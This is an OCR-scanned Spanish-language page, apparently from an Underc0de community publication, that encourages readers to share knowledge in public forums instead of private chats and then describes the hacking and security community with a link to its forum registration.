DOMINEMOS O AYUDAR RESPONDIENDO ALGUNA DUDA DE OTRO USUARIO, INCLUSO jGOOGLEANDO LA
RESPUESTA!

QUIZA PIENSEN... LA RAMA QUE YO DOMINIO YA ESTA DOCUMENTADA O YA HAY MUCHOS TUTORIALES SOBRE
TAL TEMA... PERO CREANME QUE TODQOS EXPLICAMOS DE FORMA DIFERENTES LAS COSAS. QUIZAS NUESTRA
MANERA DE EXPLICAR, ES DE UTILIDAD PARA ALGUIEN O ES DE FACIL ENTENDIMIENTO PARA OTRAS PERSONAS,
CON ESTO, YA ESTAMOS APORTANDO NUESTRO GRANITO DE ARENA A LA COMUNIDAD.

IMAGINEN QUE UNA PERSONA HACE UNA PREGUNTA POR WHATSAPP Y LO AYUDAMOS... PASAN 3 DIAS Y VIENE
OTRA PERSONA CON EL MISMO PROBLEMA Y LO VOLVEMOS A AYUDAR... PASAN 2 DIAS MAS Y VIENE OTRO CON
LA MISMA PREGUNTA... ¢ NO SE VUELVE TEDIOSO RESPONDER TANTAS VECES LO MISMQO? ESTE ES OTRO DE LOS
MOTIVOS POR LOS CUALES LAS PREGUNTAS DEBERIAN IR EN LOS FOROS.

RESPONDIENDO DUDAS POR WHATSAPP, TELEGRAM, FACEBOOK ENTRE OTROS... NO SOLO ESTAMOS SIENDO
EGOISTAS CON EL RESTO DE LA COMUNIDAD INFORMATICA, SINO QUE TAMBIEN ESTAMOS CREANDO UNA
NUEVA GENERACION DE PERSONAS VAGAS QUE QUIEREN LAS RESPUESTAS SERVIDAS EN BANDEJA DE PLATA.

iSEAMOS PARTE DEL CRECIMIENTO COMUNITARIO!

r



Acerca de UNDERCODE...

UndercOde naci6 en 2011, con la visién de ser una comunidad dedicada al Hacking y a la Seguridad
Informatica, comprendiendo la libre divulgacién del conocimiento, compartir saberes, intercambiar aportes
e interactuar dia a dia para potenciar las capacidades y habilidades de cada uno en un ambiente cordial.
Para ello, se desarrollan talleres, tutoriales, guias de aprendizaje, papers de variados temas,
herramientas y actualizaciones informaticas.

Con un foro nutrido de muchas secciones y posts relacionados al hacking y la seguridad informdtica. A diario

los usuarios se conectan y comparten sus dudas y conocimientos con el resto de la comunidad.
En una busqueda constante por mantener online la comunidad y seguir creciendo cada dia un poquito mas.

Los invitamos a que se en caso de que no lo estén, y si ya tienen una cuenta, ingresen.


https://underc0de.org/foro/index.php?action=register

